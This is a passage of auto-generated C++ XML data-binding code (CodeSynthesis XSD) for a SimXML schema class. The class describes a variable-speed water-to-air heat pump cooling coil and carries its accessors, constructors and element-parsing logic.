SimFlowEnergyTrans_Speed_1_10_EnergyInputRatioFuncOfWaterFlowFractionCurveName (::std::auto_ptr< SimFlowEnergyTrans_Speed_1_10_EnergyInputRatioFuncOfWaterFlowFractionCurveName_type > x) { this->SimFlowEnergyTrans_Speed_1_10_EnergyInputRatioFuncOfWaterFlowFractionCurveName_.set (x); } const SimFlowEnergyTransfer_CoolingCoilWater_CoilAirCoolingWaterToAirHeatPumpVariableSpeedEquationFit::SimFlowEnergyTrans_Speed_1_10_RefUnitWasteHeatFractionofInputPowerAtRatedConds_optional& SimFlowEnergyTransfer_CoolingCoilWater_CoilAirCoolingWaterToAirHeatPumpVariableSpeedEquationFit:: SimFlowEnergyTrans_Speed_1_10_RefUnitWasteHeatFractionofInputPowerAtRatedConds () const { return this->SimFlowEnergyTrans_Speed_1_10_RefUnitWasteHeatFractionofInputPowerAtRatedConds_; } SimFlowEnergyTransfer_CoolingCoilWater_CoilAirCoolingWaterToAirHeatPumpVariableSpeedEquationFit::SimFlowEnergyTrans_Speed_1_10_RefUnitWasteHeatFractionofInputPowerAtRatedConds_optional& SimFlowEnergyTransfer_CoolingCoilWater_CoilAirCoolingWaterToAirHeatPumpVariableSpeedEquationFit:: SimFlowEnergyTrans_Speed_1_10_RefUnitWasteHeatFractionofInputPowerAtRatedConds () { return this->SimFlowEnergyTrans_Speed_1_10_RefUnitWasteHeatFractionofInputPowerAtRatedConds_; } void SimFlowEnergyTransfer_CoolingCoilWater_CoilAirCoolingWaterToAirHeatPumpVariableSpeedEquationFit:: SimFlowEnergyTrans_Speed_1_10_RefUnitWasteHeatFractionofInputPowerAtRatedConds (const SimFlowEnergyTrans_Speed_1_10_RefUnitWasteHeatFractionofInputPowerAtRatedConds_type& x) { this->SimFlowEnergyTrans_Speed_1_10_RefUnitWasteHeatFractionofInputPowerAtRatedConds_.set (x); } void SimFlowEnergyTransfer_CoolingCoilWater_CoilAirCoolingWaterToAirHeatPumpVariableSpeedEquationFit:: SimFlowEnergyTrans_Speed_1_10_RefUnitWasteHeatFractionofInputPowerAtRatedConds (const SimFlowEnergyTrans_Speed_1_10_RefUnitWasteHeatFractionofInputPowerAtRatedConds_optional& x) { this->SimFlowEnergyTrans_Speed_1_10_RefUnitWasteHeatFractionofInputPowerAtRatedConds_ = x; } void SimFlowEnergyTransfer_CoolingCoilWater_CoilAirCoolingWaterToAirHeatPumpVariableSpeedEquationFit:: SimFlowEnergyTrans_Speed_1_10_RefUnitWasteHeatFractionofInputPowerAtRatedConds (::std::auto_ptr< SimFlowEnergyTrans_Speed_1_10_RefUnitWasteHeatFractionofInputPowerAtRatedConds_type > x) { this->SimFlowEnergyTrans_Speed_1_10_RefUnitWasteHeatFractionofInputPowerAtRatedConds_.set (x); } const SimFlowEnergyTransfer_CoolingCoilWater_CoilAirCoolingWaterToAirHeatPumpVariableSpeedEquationFit::SimFlowEnergyTrans_Speed_1_10_WasteHeatFuncOfTempCurveName_optional& SimFlowEnergyTransfer_CoolingCoilWater_CoilAirCoolingWaterToAirHeatPumpVariableSpeedEquationFit:: SimFlowEnergyTrans_Speed_1_10_WasteHeatFuncOfTempCurveName () const { return this->SimFlowEnergyTrans_Speed_1_10_WasteHeatFuncOfTempCurveName_; } SimFlowEnergyTransfer_CoolingCoilWater_CoilAirCoolingWaterToAirHeatPumpVariableSpeedEquationFit::SimFlowEnergyTrans_Speed_1_10_WasteHeatFuncOfTempCurveName_optional& SimFlowEnergyTransfer_CoolingCoilWater_CoilAirCoolingWaterToAirHeatPumpVariableSpeedEquationFit:: SimFlowEnergyTrans_Speed_1_10_WasteHeatFuncOfTempCurveName () { return this->SimFlowEnergyTrans_Speed_1_10_WasteHeatFuncOfTempCurveName_; } void SimFlowEnergyTransfer_CoolingCoilWater_CoilAirCoolingWaterToAirHeatPumpVariableSpeedEquationFit:: SimFlowEnergyTrans_Speed_1_10_WasteHeatFuncOfTempCurveName (const SimFlowEnergyTrans_Speed_1_10_WasteHeatFuncOfTempCurveName_type& x) { this->SimFlowEnergyTrans_Speed_1_10_WasteHeatFuncOfTempCurveName_.set (x); } void SimFlowEnergyTransfer_CoolingCoilWater_CoilAirCoolingWaterToAirHeatPumpVariableSpeedEquationFit:: SimFlowEnergyTrans_Speed_1_10_WasteHeatFuncOfTempCurveName (const SimFlowEnergyTrans_Speed_1_10_WasteHeatFuncOfTempCurveName_optional& x) { this->SimFlowEnergyTrans_Speed_1_10_WasteHeatFuncOfTempCurveName_ = x; } void SimFlowEnergyTransfer_CoolingCoilWater_CoilAirCoolingWaterToAirHeatPumpVariableSpeedEquationFit:: SimFlowEnergyTrans_Speed_1_10_WasteHeatFuncOfTempCurveName (::std::auto_ptr< SimFlowEnergyTrans_Speed_1_10_WasteHeatFuncOfTempCurveName_type > x) { this->SimFlowEnergyTrans_Speed_1_10_WasteHeatFuncOfTempCurveName_.set (x); } } } } #include #include namespace _xsd { static const ::xsd::cxx::tree::type_factory_plate< 0, char > type_factory_plate_init; } namespace schema { namespace simxml { namespace MepModel { // SimFlowEnergyTransfer_CoolingCoilWater_CoilAirCoolingWaterToAirHeatPumpVariableSpeedEquationFit // SimFlowEnergyTransfer_CoolingCoilWater_CoilAirCoolingWaterToAirHeatPumpVariableSpeedEquationFit:: SimFlowEnergyTransfer_CoolingCoilWater_CoilAirCoolingWaterToAirHeatPumpVariableSpeedEquationFit () : ::schema::simxml::MepModel::SimFlowEnergyTransfer_CoolingCoilWater (), SimFlowEnergyTrans_NumSpeeds_ (this), SimFlowEnergyTrans_IndoorAirInletNodeName_ (this), SimFlowEnergyTrans_IndoorAirOutletNodeName_ (this), SimFlowEnergyTrans_NominalSpeedLevel_ (this), SimFlowEnergyTrans_GrossRatedTotalCoolCapAtSelectedNomSpeedLevel_ (this), SimFlowEnergyTrans_RatedAirFlowRateAtSelectedNomSpeedLevel_ (this), SimFlowEnergyTrans_NominalTimeforCondensateToBeginLeavingtheCoil_ (this), SimFlowEnergyTrans_InitialMoistureEvapRateDiviBySteady_StateACLatentCap_ (this), SimFlowEnergyTrans_EnergyPartLoadFractionCurveName_ (this), SimFlowEnergyTrans_Water_to_RefrigerantHXWaterInletNodeName_ (this), SimFlowEnergyTrans_Water_to_RefrigerantHXWaterOutletNodeName_ (this), SimFlowEnergyTrans_RatedWaterFlowRateAtSelectedNomSpeedLevel_ (this), SimFlowEnergyTrans_FlagforUsingHotGasReheat_0_or_1_ (this), SimFlowEnergyTrans_Speed_1_10_RefUnitGrossRatedTotalCoolCap_ (this), SimFlowEnergyTrans_Speed_1_10_RefUnitGrossRatedSensHeatRatio_ (this), SimFlowEnergyTrans_Speed_1_10_RefUnitGrossRatedCoolCOP_ (this), SimFlowEnergyTrans_Speed_1_10_RefUnitRatedAirFlowRate_ (this), SimFlowEnergyTrans_Speed_1_10_RefUnitRatedWaterFlowRate_ (this), SimFlowEnergyTrans_Speed_1_10_TotCoolingCapFuncOfTempCurveName_ (this), SimFlowEnergyTrans_Speed_1_10_TotCoolingCapFuncOfAirFlowFractionCurveName_ (this), SimFlowEnergyTrans_Speed_1_10_TotCoolingCapFuncOfWaterFlowFractionCurveName_ (this), SimFlowEnergyTrans_Speed_1_10_EnergyInputRatioFuncOfTempCurveName_ (this), SimFlowEnergyTrans_Speed_1_10_EnergyInputRatioFuncOfAirFlowFractionCurveName_ (this), SimFlowEnergyTrans_Speed_1_10_EnergyInputRatioFuncOfWaterFlowFractionCurveName_ (this), SimFlowEnergyTrans_Speed_1_10_RefUnitWasteHeatFractionofInputPowerAtRatedConds_ (this), SimFlowEnergyTrans_Speed_1_10_WasteHeatFuncOfTempCurveName_ (this) { } SimFlowEnergyTransfer_CoolingCoilWater_CoilAirCoolingWaterToAirHeatPumpVariableSpeedEquationFit:: SimFlowEnergyTransfer_CoolingCoilWater_CoilAirCoolingWaterToAirHeatPumpVariableSpeedEquationFit (const RefId_type& RefId) : ::schema::simxml::MepModel::SimFlowEnergyTransfer_CoolingCoilWater (RefId), SimFlowEnergyTrans_NumSpeeds_ (this), SimFlowEnergyTrans_IndoorAirInletNodeName_ (this), SimFlowEnergyTrans_IndoorAirOutletNodeName_ (this), SimFlowEnergyTrans_NominalSpeedLevel_ (this), SimFlowEnergyTrans_GrossRatedTotalCoolCapAtSelectedNomSpeedLevel_ (this), SimFlowEnergyTrans_RatedAirFlowRateAtSelectedNomSpeedLevel_ (this), SimFlowEnergyTrans_NominalTimeforCondensateToBeginLeavingtheCoil_ (this), SimFlowEnergyTrans_InitialMoistureEvapRateDiviBySteady_StateACLatentCap_ (this), SimFlowEnergyTrans_EnergyPartLoadFractionCurveName_ (this), SimFlowEnergyTrans_Water_to_RefrigerantHXWaterInletNodeName_ (this), SimFlowEnergyTrans_Water_to_RefrigerantHXWaterOutletNodeName_ (this), SimFlowEnergyTrans_RatedWaterFlowRateAtSelectedNomSpeedLevel_ (this), SimFlowEnergyTrans_FlagforUsingHotGasReheat_0_or_1_ (this), SimFlowEnergyTrans_Speed_1_10_RefUnitGrossRatedTotalCoolCap_ (this), SimFlowEnergyTrans_Speed_1_10_RefUnitGrossRatedSensHeatRatio_ (this), SimFlowEnergyTrans_Speed_1_10_RefUnitGrossRatedCoolCOP_ (this), SimFlowEnergyTrans_Speed_1_10_RefUnitRatedAirFlowRate_ (this), SimFlowEnergyTrans_Speed_1_10_RefUnitRatedWaterFlowRate_ (this), SimFlowEnergyTrans_Speed_1_10_TotCoolingCapFuncOfTempCurveName_ (this), SimFlowEnergyTrans_Speed_1_10_TotCoolingCapFuncOfAirFlowFractionCurveName_ (this), SimFlowEnergyTrans_Speed_1_10_TotCoolingCapFuncOfWaterFlowFractionCurveName_ (this), SimFlowEnergyTrans_Speed_1_10_EnergyInputRatioFuncOfTempCurveName_ (this), SimFlowEnergyTrans_Speed_1_10_EnergyInputRatioFuncOfAirFlowFractionCurveName_ (this), SimFlowEnergyTrans_Speed_1_10_EnergyInputRatioFuncOfWaterFlowFractionCurveName_ (this), SimFlowEnergyTrans_Speed_1_10_RefUnitWasteHeatFractionofInputPowerAtRatedConds_ (this), SimFlowEnergyTrans_Speed_1_10_WasteHeatFuncOfTempCurveName_ (this) { } SimFlowEnergyTransfer_CoolingCoilWater_CoilAirCoolingWaterToAirHeatPumpVariableSpeedEquationFit:: SimFlowEnergyTransfer_CoolingCoilWater_CoilAirCoolingWaterToAirHeatPumpVariableSpeedEquationFit (const SimFlowEnergyTransfer_CoolingCoilWater_CoilAirCoolingWaterToAirHeatPumpVariableSpeedEquationFit& x, ::xml_schema::flags f, ::xml_schema::container* c) : ::schema::simxml::MepModel::SimFlowEnergyTransfer_CoolingCoilWater (x, f, c), SimFlowEnergyTrans_NumSpeeds_ (x.SimFlowEnergyTrans_NumSpeeds_, f, this), SimFlowEnergyTrans_IndoorAirInletNodeName_ (x.SimFlowEnergyTrans_IndoorAirInletNodeName_, f, this), SimFlowEnergyTrans_IndoorAirOutletNodeName_ (x.SimFlowEnergyTrans_IndoorAirOutletNodeName_, f, this), SimFlowEnergyTrans_NominalSpeedLevel_ (x.SimFlowEnergyTrans_NominalSpeedLevel_, f, this), SimFlowEnergyTrans_GrossRatedTotalCoolCapAtSelectedNomSpeedLevel_ (x.SimFlowEnergyTrans_GrossRatedTotalCoolCapAtSelectedNomSpeedLevel_, f, this), SimFlowEnergyTrans_RatedAirFlowRateAtSelectedNomSpeedLevel_ (x.SimFlowEnergyTrans_RatedAirFlowRateAtSelectedNomSpeedLevel_, f, this), SimFlowEnergyTrans_NominalTimeforCondensateToBeginLeavingtheCoil_ (x.SimFlowEnergyTrans_NominalTimeforCondensateToBeginLeavingtheCoil_, f, this), SimFlowEnergyTrans_InitialMoistureEvapRateDiviBySteady_StateACLatentCap_ (x.SimFlowEnergyTrans_InitialMoistureEvapRateDiviBySteady_StateACLatentCap_, f, this), SimFlowEnergyTrans_EnergyPartLoadFractionCurveName_ (x.SimFlowEnergyTrans_EnergyPartLoadFractionCurveName_, f, this), SimFlowEnergyTrans_Water_to_RefrigerantHXWaterInletNodeName_ (x.SimFlowEnergyTrans_Water_to_RefrigerantHXWaterInletNodeName_, f, this), SimFlowEnergyTrans_Water_to_RefrigerantHXWaterOutletNodeName_ (x.SimFlowEnergyTrans_Water_to_RefrigerantHXWaterOutletNodeName_, f, this), SimFlowEnergyTrans_RatedWaterFlowRateAtSelectedNomSpeedLevel_ (x.SimFlowEnergyTrans_RatedWaterFlowRateAtSelectedNomSpeedLevel_, f, this), SimFlowEnergyTrans_FlagforUsingHotGasReheat_0_or_1_ (x.SimFlowEnergyTrans_FlagforUsingHotGasReheat_0_or_1_, f, this), SimFlowEnergyTrans_Speed_1_10_RefUnitGrossRatedTotalCoolCap_ (x.SimFlowEnergyTrans_Speed_1_10_RefUnitGrossRatedTotalCoolCap_, f, this), SimFlowEnergyTrans_Speed_1_10_RefUnitGrossRatedSensHeatRatio_ (x.SimFlowEnergyTrans_Speed_1_10_RefUnitGrossRatedSensHeatRatio_, f, this), SimFlowEnergyTrans_Speed_1_10_RefUnitGrossRatedCoolCOP_ (x.SimFlowEnergyTrans_Speed_1_10_RefUnitGrossRatedCoolCOP_, f, this), SimFlowEnergyTrans_Speed_1_10_RefUnitRatedAirFlowRate_ (x.SimFlowEnergyTrans_Speed_1_10_RefUnitRatedAirFlowRate_, f, this), SimFlowEnergyTrans_Speed_1_10_RefUnitRatedWaterFlowRate_ (x.SimFlowEnergyTrans_Speed_1_10_RefUnitRatedWaterFlowRate_, f, this), SimFlowEnergyTrans_Speed_1_10_TotCoolingCapFuncOfTempCurveName_ (x.SimFlowEnergyTrans_Speed_1_10_TotCoolingCapFuncOfTempCurveName_, f, this), SimFlowEnergyTrans_Speed_1_10_TotCoolingCapFuncOfAirFlowFractionCurveName_ (x.SimFlowEnergyTrans_Speed_1_10_TotCoolingCapFuncOfAirFlowFractionCurveName_, f, this), SimFlowEnergyTrans_Speed_1_10_TotCoolingCapFuncOfWaterFlowFractionCurveName_ (x.SimFlowEnergyTrans_Speed_1_10_TotCoolingCapFuncOfWaterFlowFractionCurveName_, f, this), SimFlowEnergyTrans_Speed_1_10_EnergyInputRatioFuncOfTempCurveName_ (x.SimFlowEnergyTrans_Speed_1_10_EnergyInputRatioFuncOfTempCurveName_, f, this), SimFlowEnergyTrans_Speed_1_10_EnergyInputRatioFuncOfAirFlowFractionCurveName_ (x.SimFlowEnergyTrans_Speed_1_10_EnergyInputRatioFuncOfAirFlowFractionCurveName_, f, this), SimFlowEnergyTrans_Speed_1_10_EnergyInputRatioFuncOfWaterFlowFractionCurveName_ (x.SimFlowEnergyTrans_Speed_1_10_EnergyInputRatioFuncOfWaterFlowFractionCurveName_, f, this), SimFlowEnergyTrans_Speed_1_10_RefUnitWasteHeatFractionofInputPowerAtRatedConds_ (x.SimFlowEnergyTrans_Speed_1_10_RefUnitWasteHeatFractionofInputPowerAtRatedConds_, f, this), SimFlowEnergyTrans_Speed_1_10_WasteHeatFuncOfTempCurveName_ (x.SimFlowEnergyTrans_Speed_1_10_WasteHeatFuncOfTempCurveName_, f, this) { } SimFlowEnergyTransfer_CoolingCoilWater_CoilAirCoolingWaterToAirHeatPumpVariableSpeedEquationFit:: SimFlowEnergyTransfer_CoolingCoilWater_CoilAirCoolingWaterToAirHeatPumpVariableSpeedEquationFit (const ::xercesc::DOMElement& e, ::xml_schema::flags f, ::xml_schema::container* c) : ::schema::simxml::MepModel::SimFlowEnergyTransfer_CoolingCoilWater (e, f | ::xml_schema::flags::base, c), SimFlowEnergyTrans_NumSpeeds_ (this), SimFlowEnergyTrans_IndoorAirInletNodeName_ (this), SimFlowEnergyTrans_IndoorAirOutletNodeName_ (this), SimFlowEnergyTrans_NominalSpeedLevel_ (this), SimFlowEnergyTrans_GrossRatedTotalCoolCapAtSelectedNomSpeedLevel_ (this), SimFlowEnergyTrans_RatedAirFlowRateAtSelectedNomSpeedLevel_ (this), SimFlowEnergyTrans_NominalTimeforCondensateToBeginLeavingtheCoil_ (this), SimFlowEnergyTrans_InitialMoistureEvapRateDiviBySteady_StateACLatentCap_ (this), SimFlowEnergyTrans_EnergyPartLoadFractionCurveName_ (this), SimFlowEnergyTrans_Water_to_RefrigerantHXWaterInletNodeName_ (this), SimFlowEnergyTrans_Water_to_RefrigerantHXWaterOutletNodeName_ (this), SimFlowEnergyTrans_RatedWaterFlowRateAtSelectedNomSpeedLevel_ (this), SimFlowEnergyTrans_FlagforUsingHotGasReheat_0_or_1_ (this), SimFlowEnergyTrans_Speed_1_10_RefUnitGrossRatedTotalCoolCap_ (this), SimFlowEnergyTrans_Speed_1_10_RefUnitGrossRatedSensHeatRatio_ (this), SimFlowEnergyTrans_Speed_1_10_RefUnitGrossRatedCoolCOP_ (this), SimFlowEnergyTrans_Speed_1_10_RefUnitRatedAirFlowRate_ (this), SimFlowEnergyTrans_Speed_1_10_RefUnitRatedWaterFlowRate_ (this), SimFlowEnergyTrans_Speed_1_10_TotCoolingCapFuncOfTempCurveName_ (this), SimFlowEnergyTrans_Speed_1_10_TotCoolingCapFuncOfAirFlowFractionCurveName_ (this), SimFlowEnergyTrans_Speed_1_10_TotCoolingCapFuncOfWaterFlowFractionCurveName_ (this), SimFlowEnergyTrans_Speed_1_10_EnergyInputRatioFuncOfTempCurveName_ (this), SimFlowEnergyTrans_Speed_1_10_EnergyInputRatioFuncOfAirFlowFractionCurveName_ (this), SimFlowEnergyTrans_Speed_1_10_EnergyInputRatioFuncOfWaterFlowFractionCurveName_ (this), SimFlowEnergyTrans_Speed_1_10_RefUnitWasteHeatFractionofInputPowerAtRatedConds_ (this), SimFlowEnergyTrans_Speed_1_10_WasteHeatFuncOfTempCurveName_ (this) { if ((f & ::xml_schema::flags::base) == 0) { ::xsd::cxx::xml::dom::parser< char > p (e, true, false, true); this->parse (p, f); } } void SimFlowEnergyTransfer_CoolingCoilWater_CoilAirCoolingWaterToAirHeatPumpVariableSpeedEquationFit:: parse (::xsd::cxx::xml::dom::parser< char >& p, ::xml_schema::flags f) { this->::schema::simxml::MepModel::SimFlowEnergyTransfer_CoolingCoilWater::parse (p, f); for (; p.more_content (); p.next_content (false)) { const ::xercesc::DOMElement& i (p.cur_element ()); const ::xsd::cxx::xml::qualified_name< char > n ( ::xsd::cxx::xml::dom::name< char > (i)); // SimFlowEnergyTrans_NumSpeeds // if (n.name () == "SimFlowEnergyTrans_NumSpeeds" && n.namespace_ () == "http://d-alchemy.com/schema/simxml/MepModel") { if (!this->SimFlowEnergyTrans_NumSpeeds_) { this->SimFlowEnergyTrans_NumSpeeds_.set (SimFlowEnergyTrans_NumSpeeds_traits::create (i, f, this)); continue; } } // SimFlowEnergyTrans_IndoorAirInletNodeName // if (n.name () == "SimFlowEnergyTrans_IndoorAirInletNodeName" && n.namespace_ () == "http://d-alchemy.com/schema/simxml/MepModel") { ::std::auto_ptr< SimFlowEnergyTrans_IndoorAirInletNodeName_type > r ( SimFlowEnergyTrans_IndoorAirInletNodeName_traits::create (i, f, this)); if (!this->SimFlowEnergyTrans_IndoorAirInletNodeName_) { this->SimFlowEnergyTrans_IndoorAirInletNodeName_.set (r); continue; } } // SimFlowEnergyTrans_IndoorAirOutletNodeName // if (n.name () == "SimFlowEnergyTrans_IndoorAirOutletNodeName" && n.namespace_ () == "http://d-alchemy.com/schema/simxml/MepModel") { ::std::auto_ptr< SimFlowEnergyTrans_IndoorAirOutletNodeName_type > r ( SimFlowEnergyTrans_IndoorAirOutletNodeName_traits::create (i, f, this)); if (!this->SimFlowEnergyTrans_IndoorAirOutletNodeName_) { this->SimFlowEnergyTrans_IndoorAirOutletNodeName_.set (r); continue; } } // SimFlowEnergyTrans_NominalSpeedLevel // if (n.name () == "SimFlowEnergyTrans_NominalSpeedLevel" && n.namespace_ () == "http://d-alchemy.com/schema/simxml/MepModel") { if (!this->SimFlowEnergyTrans_NominalSpeedLevel_) { this->SimFlowEnergyTrans_NominalSpeedLevel_.set (SimFlowEnergyTrans_NominalSpeedLevel_traits::create (i, f, this)); continue; } } // SimFlowEnergyTrans_GrossRatedTotalCoolCapAtSelectedNomSpeedLevel // if (n.name () == "SimFlowEnergyTrans_GrossRatedTotalCoolCapAtSelectedNomSpeedLevel" && n.namespace_ () == "http://d-alchemy.com/schema/simxml/MepModel") { if (!this->SimFlowEnergyTrans_GrossRatedTotalCoolCapAtSelectedNomSpeedLevel_) { this->SimFlowEnergyTrans_GrossRatedTotalCoolCapAtSelectedNomSpeedLevel_.set (SimFlowEnergyTrans_GrossRatedTotalCoolCapAtSelectedNomSpeedLevel_traits::create (i, f, this)); continue; } } // SimFlowEnergyTrans_RatedAirFlowRateAtSelectedNomSpeedLevel // if (n.name () == "SimFlowEnergyTrans_RatedAirFlowRateAtSelectedNomSpeedLevel" && n.namespace_ () == "http://d-alchemy.com/schema/simxml/MepModel") { if (!this->SimFlowEnergyTrans_RatedAirFlowRateAtSelectedNomSpeedLevel_) { this->SimFlowEnergyTrans_RatedAirFlowRateAtSelectedNomSpeedLevel_.set (SimFlowEnergyTrans_RatedAirFlowRateAtSelectedNomSpeedLevel_traits::create (i, f, this)); continue; } } // SimFlowEnergyTrans_NominalTimeforCondensateToBeginLeavingtheCoil // if (n.name () == "SimFlowEnergyTrans_NominalTimeforCondensateToBeginLeavingtheCoil" && n.namespace_ () == "http://d-alchemy.com/schema/simxml/MepModel") { if (!this->SimFlowEnergyTrans_NominalTimeforCondensateToBeginLeavingtheCoil_) { this->SimFlowEnergyTrans_NominalTimeforCondensateToBeginLeavingtheCoil_.set (SimFlowEnergyTrans_NominalTimeforCondensateToBeginLeavingtheCoil_traits::create (i, f, this)); continue; } } // SimFlowEnergyTrans_InitialMoistureEvapRateDiviBySteady_StateACLatentCap // if (n.name () == "SimFlowEnergyTrans_InitialMoistureEvapRateDiviBySteady_StateACLatentCap" && n.namespace_ () == "http://d-alchemy.com/schema/simxml/MepModel") { if (!this->SimFlowEnergyTrans_InitialMoistureEvapRateDiviBySteady_StateACLatentCap_) { this->SimFlowEnergyTrans_InitialMoistureEvapRateDiviBySteady_StateACLatentCap_.set (SimFlowEnergyTrans_InitialMoistureEvapRateDiviBySteady_StateACLatentCap_traits::create (i, f, this)); continue; } } // SimFlowEnergyTrans_EnergyPartLoadFractionCurveName // if (n.name () == "SimFlowEnergyTrans_EnergyPartLoadFractionCurveName" && n.namespace_ () == "http://d-alchemy.com/schema/simxml/MepModel") { ::std::auto_ptr< SimFlowEnergyTrans_EnergyPartLoadFractionCurveName_type > r ( SimFlowEnergyTrans_EnergyPartLoadFractionCurveName_traits::create (i, f, this)); if (!this->SimFlowEnergyTrans_EnergyPartLoadFractionCurveName_) { this->SimFlowEnergyTrans_EnergyPartLoadFractionCurveName_.set (r); continue; } } // SimFlowEnergyTrans_Water_to_RefrigerantHXWaterInletNodeName // if (n.name () == "SimFlowEnergyTrans_Water_to_RefrigerantHXWaterInletNodeName" && n.namespace_ () == "http://d-alchemy.com/schema/simxml/MepModel") { ::std::auto_ptr< SimFlowEnergyTrans_Water_to_RefrigerantHXWaterInletNodeName_type > r ( SimFlowEnergyTrans_Water_to_RefrigerantHXWaterInletNodeName_traits::create (i, f, this)); if (!this->SimFlowEnergyTrans_Water_to_RefrigerantHXWaterInletNodeName_) { this->SimFlowEnergyTrans_Water_to_RefrigerantHXWaterInletNodeName_.set (r); continue; } } // SimFlowEnergyTrans_Water_to_RefrigerantHXWaterOutletNodeName // if (n.name () == "SimFlowEnergyTrans_Water_to_RefrigerantHXWaterOutletNodeName" && n.namespace_ () == "http://d-alchemy.com/schema/simxml/MepModel") { ::std::auto_ptr< SimFlowEnergyTrans_Water_to_RefrigerantHXWaterOutletNodeName_type > r ( SimFlowEnergyTrans_Water_to_RefrigerantHXWaterOutletNodeName_traits::create (i, f, this)); if (!this->SimFlowEnergyTrans_Water_to_RefrigerantHXWaterOutletNodeName_) { this->SimFlowEnergyTrans_Water_to_RefrigerantHXWaterOutletNodeName_.set (r); continue; } } // SimFlowEnergyTrans_RatedWaterFlowRateAtSelectedNomSpeedLevel // if (n.name () == "SimFlowEnergyTrans_RatedWaterFlowRateAtSelectedNomSpeedLevel" && n.namespace_ () == "http://d-alchemy.com/schema/simxml/MepModel") { if (!this->SimFlowEnergyTrans_RatedWaterFlowRateAtSelectedNomSpeedLevel_) { this->SimFlowEnergyTrans_RatedWaterFlowRateAtSelectedNomSpeedLevel_.set (SimFlowEnergyTrans_RatedWaterFlowRateAtSelectedNomSpeedLevel_traits::create (i, f, this)); continue; } } // SimFlowEnergyTrans_FlagforUsingHotGasReheat_0_or_1 // if (n.name () == "SimFlowEnergyTrans_FlagforUsingHotGasReheat_0_or_1" && n.namespace_ () == "http://d-alchemy.com/schema/simxml/MepModel") { if (!this->SimFlowEnergyTrans_FlagforUsingHotGasReheat_0_or_1_) { this->SimFlowEnergyTrans_FlagforUsingHotGasReheat_0_or_1_.set (SimFlowEnergyTrans_FlagforUsingHotGasReheat_0_or_1_traits::create (i, f, this)); continue; } } // SimFlowEnergyTrans_Speed_1_10_RefUnitGrossRatedTotalCoolCap // if (n.name () == "SimFlowEnergyTrans_Speed_1_10_RefUnitGrossRatedTotalCoolCap" && n.namespace_ () == "http://d-alchemy.com/schema/simxml/MepModel") { ::std::auto_ptr< SimFlowEnergyTrans_Speed_1_10_RefUnitGrossRatedTotalCoolCap_type > r ( SimFlowEnergyTrans_Speed_1_10_RefUnitGrossRatedTotalCoolCap_traits::create (i, f, this)); if (!this->SimFlowEnergyTrans_Speed_1_10_RefUnitGrossRatedTotalCoolCap_) { this->SimFlowEnergyTrans_Speed_1_10_RefUnitGrossRatedTotalCoolCap_.set (r); continue; } } // SimFlowEnergyTrans_Speed_1_10_RefUnitGrossRatedSensHeatRatio // if (n.name () == "SimFlowEnergyTrans_Speed_1_10_RefUnitGrossRatedSensHeatRatio" && n.namespace_ () == "http://d-alchemy.com/schema/simxml/MepModel") { ::std::auto_ptr< SimFlowEnergyTrans_Speed_1_10_RefUnitGrossRatedSensHeatRatio_type > r ( SimFlowEnergyTrans_Speed_1_10_RefUnitGrossRatedSensHeatRatio_traits::create (i, f, this)); if (!this->SimFlowEnergyTrans_Speed_1_10_RefUnitGrossRatedSensHeatRatio_) { this->SimFlowEnergyTrans_Speed_1_10_RefUnitGrossRatedSensHeatRatio_.set (r); continue; } } // SimFlowEnergyTrans_Speed_1_10_RefUnitGrossRatedCoolCOP // if (n.name () == "SimFlowEnergyTrans_Speed_1_10_RefUnitGrossRatedCoolCOP" && n.namespace_ () == "http://d-alchemy.com/schema/simxml/MepModel") { ::std::auto_ptr< SimFlowEnergyTrans_Speed_1_10_RefUnitGrossRatedCoolCOP_type > r ( SimFlowEnergyTrans_Speed_1_10_RefUnitGrossRatedCoolCOP_traits::create (i, f, this)); if (!this->SimFlowEnergyTrans_Speed_1_10_RefUnitGrossRatedCoolCOP_) { this->SimFlowEnergyTrans_Speed_1_10_RefUnitGrossRatedCoolCOP_.set (r); continue; } } // SimFlowEnergyTrans_Speed_1_10_RefUnitRatedAirFlowRate // if (n.name () == "SimFlowEnergyTrans_Speed_1_10_RefUnitRatedAirFlowRate" && n.namespace_ () == "http://d-alchemy.com/schema/simxml/MepModel") { ::std::auto_ptr< SimFlowEnergyTrans_Speed_1_10_RefUnitRatedAirFlowRate_type > r ( SimFlowEnergyTrans_Speed_1_10_RefUnitRatedAirFlowRate_traits::create (i, f, this)); if (!this->SimFlowEnergyTrans_Speed_1_10_RefUnitRatedAirFlowRate_) { this->SimFlowEnergyTrans_Speed_1_10_RefUnitRatedAirFlowRate_.set (r); continue; } } // SimFlowEnergyTrans_Speed_1_10_RefUnitRatedWaterFlowRate // if (n.name () == "SimFlowEnergyTrans_Speed_1_10_RefUnitRatedWaterFlowRate" && n.namespace_ () == "http://d-alchemy.com/schema/simxml/MepModel") { ::std::auto_ptr< SimFlowEnergyTrans_Speed_1_10_RefUnitRatedWaterFlowRate_type > r ( SimFlowEnergyTrans_Speed_1_10_RefUnitRatedWaterFlowRate_traits::create (i, f, this)); if (!this->SimFlowEnergyTrans_Speed_1_10_RefUnitRatedWaterFlowRate_) { this->SimFlowEnergyTrans_Speed_1_10_RefUnitRatedWaterFlowRate_.set (r); continue; } } // SimFlowEnergyTrans_Speed_1_10_TotCoolingCapFuncOfTempCurveName // if (n.name () == "SimFlowEnergyTrans_Speed_1_10_TotCoolingCapFuncOfTempCurveName" && n.namespace_ () == "http://d-alchemy.com/schema/simxml/MepModel") { ::std::auto_ptr< SimFlowEnergyTrans_Speed_1_10_TotCoolingCapFuncOfTempCurveName_type > r ( SimFlowEnergyTrans_Speed_1_10_TotCoolingCapFuncOfTempCurveName_traits::create (i, f, this)); if (!this->SimFlowEnergyTrans_Speed_1_10_TotCoolingCapFuncOfTempCurveName_) { this->SimFlowEnergyTrans_Speed_1_10_TotCoolingCapFuncOfTempCurveName_.set (r); continue; } } // SimFlowEnergyTrans_Speed_1_10_TotCoolingCapFuncOfAirFlowFractionCurveName // if (n.name () == "SimFlowEnergyTrans_Speed_1_10_TotCoolingCapFuncOfAirFlowFractionCurveName" && n.namespace_ () == "http://d-alchemy.com/schema/simxml/MepModel") { ::std::auto_ptr< SimFlowEnergyTrans_Speed_1_10_TotCoolingCapFuncOfAirFlowFractionCurveName_type > r ( SimFlowEnergyTrans_Speed_1_10_TotCoolingCapFuncOfAirFlowFractionCurveName_traits::create (i, f, this)); if (!this->SimFlowEnergyTrans_Speed_1_10_TotCoolingCapFuncOfAirFlowFractionCurveName_) { this->SimFlowEnergyTrans_Speed_1_10_TotCoolingCapFuncOfAirFlowFractionCurveName_.set (r); continue; } } // SimFlowEnergyTrans_Speed_1_10_TotCoolingCapFuncOfWaterFlowFractionCurveName // if (n.name () 